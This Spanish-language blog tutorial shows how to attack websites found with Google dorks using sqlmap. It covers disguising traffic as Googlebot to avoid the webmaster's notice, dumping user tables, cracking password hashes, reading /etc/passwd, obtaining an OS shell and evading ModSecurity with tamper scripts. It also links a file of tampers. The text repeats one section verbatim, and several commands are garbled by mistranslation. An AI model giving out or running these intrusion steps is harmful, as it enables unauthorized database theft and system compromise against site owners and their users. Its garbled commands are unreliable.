¿Que es SQLMAP?
Enumerar bases de datos
Enumerar las tablas y columnas de una base de datos.
Enumerar los usuarios con su respectiva contraseña.
Descifrar los hashes de contraseñas .
Leer archivos específicos del sistema de archivo de un host especifico y mucha mas cosas.
Tutorial:
Para empezar tenemos que elegír una Dork aquí les dejare unas 2k+ de Dorks de Google Dorks
sqlmap -u [URL] -D privacidaddb --tables --user-agent="Mozilla 5 (compatible , Googlebot/2.1, http://www.google.com/bot.html)"
Comenzamos con este código antes de comenzar con lo más emocionante por decirlo así, pero la pregunta es: ¿Para qué sirve esto? Este comando sirve para camuflar nuestra conexión como un robot de google ya que siempre esta vigente a las conecciones vigentes de inicio ¿Que pasa si no hacemos esto? Simplemente dejarias a descubierto la conexion que estamos conectados de una manera textual y el web master se dara cuenta que estamos inyectando su web y hasta puede saber que programa estamos usando, etc.
Obtener datos del usuario de la web:
sqlmap -u [URL] --current-user
Ahora comprobemos si es correcto el usuario que tenemos de la base de datos
sqlmap -u [URL] --is-dba --current-db
Para ver los privilegios de administradores activados
sqlmap -u [URL] --privileges
Para obtener todos los usuarios de DBS
sqlmap -u [URL] --users
Podremos ver en donde corre y que usuario está alojado puede ser root u otro
-
Para obtener las contraseñas de los usuarios de las dbs
sqlmap -u sqlmap -u [URL] --password
Nos saldrá un mensaje con unas opciones y tendremos que elegir según las letras ["Y" , "N", "Q"] ¿Por que sale esto? porque las contraseñas de los registros de las bases de datos se codifican automáticamente en Hash y en MD5 son las más conocidas, en fin...
Y = Es para hacer un ataque de fuerza bruta para descifrar el hash
N = Es para negar la anterior opción y obtener solo la hash
Q = Para terminar el proceso hasta ese momento
Ponemos Q luego nos saldrán 3 opciones y escogemos el diccionario 1 /defauld
Después nos dará la siguiente información que es la contraseña crackeada y el usuario. También podemos hacer una búsqueda más avanzada pero tenemos que tener en cuenta de como usar los nombres en las búsquedas
sqlmap -u [URL] -C login --search
Nos saldrán dos opciones y elegiremos la primera que es para tener una lista opcional de la búsqueda nos permitirá hacer un dump de las columnas encontradas en la DBS ponemos la opción "a" ¿Por que? esto hará un dump general
sqlmap -u [URL] --dbs -u = Target UR (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15) --dbs = BAse de datos
sigamos revisando la base de datos
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] --tables
Después nos saldrá otra tabla usaremos otro comando, pero explicare que las letras en mayúscula, por ejemplo, -D son abreviadas, porque -D es el nombre de la base de datos, o sea --dbs recuerda que siempre deben ir en mayúscula -T es --tables
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] -T [Ponemos aquí lo que hayas seleccionado de la tabla siguiente] --columns
Podremos ver en donde corre y que usuario está alojado puede ser root u otro
-
Para obtener las contraseñas de los usuarios de las dbs
sqlmap -u sqlmap -u [URL] --password
Nos saldrá un mensaje con unas opciones y tendremos que elegir según las letras ["Y" , "N", "Q"] ¿Por que sale esto? porque las contraseñas de los registros de las bases de datos se codifican automáticamente en Hash y en MD5 son las más conocidas, en fin...
Y = Es para hacer un ataque de fuerza bruta para descifrar el hash
N = Es para negar la anterior opción y obtener solo la hash
Q = Para terminar el proceso hasta ese momento
Ponemos Q luego nos saldrán 3 opciones y escogemos el diccionario 1 /defauld
Después nos dará la siguiente información que es la contraseña crackeada y el usuario. También podemos hacer una búsqueda más avanzada pero tenemos que tener en cuenta de como usar los nombres en las búsquedas
sqlmap -u [URL] -C login --search
Nos saldrán dos opciones y elegiremos la primera que es para tener una lista opcional de la búsqueda nos permitirá hacer un dump de las columnas encontradas en la DBS ponemos la opción "a" ¿Por que? esto hará un dump general
Obtener información de la web:
sqlmap -u [URL] --dbs -u = Target UR (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15) --dbs = BAse de datos
sigamos revisando la base de datos
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] --tables
Después nos saldrá otra tabla usaremos otro comando, pero explicare que las letras en mayúscula, por ejemplo, -D son abreviadas, porque -D es el nombre de la base de datos, o sea --dbs recuerda que siempre deben ir en mayúscula -T es --tables
sqlmap -u [URL] -D [Ponemos aquí lo que hayas seleccionado de la tabla] -T [Ponemos aquí lo que hayas seleccionado de la tabla siguiente] --columns
Ahora que tenemos las columnas visibles vamos a extraer datos de una tabla
sqlmap -u [URL] --dump -D [Ponemos aquí lo que hayas seleccionado de la tabla] -T [Ponemos aquí lo que hayas seleccionado de la tabla siguiente]
Nos puede salir algo similar a esto:
+ ---- + -------------------- + ----------- + ----------- + ---------- + ------------ + ------------- + ----------- -------- +
| id | hash | nombre | correo electrónico | contraseña | permiso | inicio_sistema | system_allow_only |
+ ---- + -------------------- + ----------- + ----------- + ---------- + ------------ + ------------- + ----------- -------- +
| 1 | 5DIpzzDHFOwnCvPonu | admin | <en blanco> | <en blanco> | 3 | <en blanco> | <en blanco> |
+ ---- + -------------------- + ----------- + ----------- + ---------- + ------------ + ------------- + ----------- --------
Usemos otro comando hasta ahora hemos tenido mucha información de la tabla. La columna hash parece tener el hash de contraseña puede descifrarlo y obtener los datos para iniciar sesión lo que hará slqmap es crear un archivo csv que tendrá los datos volcados para facilitar el análisis
En el siguiente comando se usará para tener el banner exacto del servidor de la base de datos cuando nos salga el banner de mysql nos mostrará la versión mysql que se ha estado usando cuando tengas la versión buscamos en google una vulnerabilidad de MySQL a esa versión que tenemos
sqlmap -u [URL] -b
Para leer un archivo de sistema tenemos que tener permisos para la operación de ARCHiVO los unico que podemos leer son los archivos legibles o legibles por el usuario de mysql, por ejemplo:
sqlmap -u [URL] --file-read = / etc / passwd --threads = 10
Solo es ejemplo, pero ¿Qué estamos haciendo? Sqlmap alamencera el archivo en nuestro directorio para que podamos leerlo después
sqlmap -u [URL] --sql-query = "seleccionar ahora ();"
Lo que hicimos fue ejecutar el comando sql arbitrario sirve para ejecutar consultas sql arbitrarias en la base de datos
Otras cosas mas;
sqlmap -u [URL] --fingerprint -random-agent
-u: URL
--fingerprint: Captura el flag arg para analizar
--random-agent: Pide el navegador por defecto
Definir el parámetro a explotar
sqlmap --dbms=mysql -u [URL] --dbs -p param2
Si la url tiene URI´s bonitas
sqlmap --dbms=mysql -u "http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs
Ejecutar consultas directametne
sqlmap --dbms=mysql -u [URL] -D "BASEDEDATOS" --sql-query "SELECT * FROM TABLAS;"
Conseguir Shell del sistema si es que es viable
sqlmap --dbms=mysql -u [URL] --os-shell
Evadiendo el Mod_Security con Tampers de sqlmap
¿Cómo usamos Tamper en SQLMAP? Es fácil solo se debe utilizar el siguiente comando o agregar la opción
--tamper [Nombre del Tamper]
En otras palabras:
Tampers: https://drive.google.com/file/d/10oeo5AlLPmfnI8mCMK9-R-q_oCLl0UIb/view?usp=sharing
sqlmap.py -u [URL] --dbms "MySQL" -p [marca_id] --tamper "modsecurityzeroversioned.py" --batch
Ahora que sabemos esto de evadir los filtros y los WAF, gracias a la herramienta qué carga las reglas del script de sabotaje para lo mencionado, pero sabías que podemos usar todos en una línea? Ejemplo:
Bajar la clase de seguridad y mas
Podemos hacer otro ataque en donde haremos un escaneo de la URL vereficando las cookies y a lo último hace un string para poder ver la base de datos y no solo también podremos bajar la clase de seguridad de la página, pero espera antes necesitamos dos cosas URL y cookie podemos obtener esta información con BurpSuite y después usar sqlmap digamos que ya tenemos eso, pero y ahora que? Simplemente ya podemos usar el siguiente comando:
sqlmap -u '[URL]' --cookie='[cookie]' --string=Surname --dbs
Ahora usa los comandos para ver la tabla (Ya se dijo ene la blog así que lo veo innecesario)


Publicar un comentario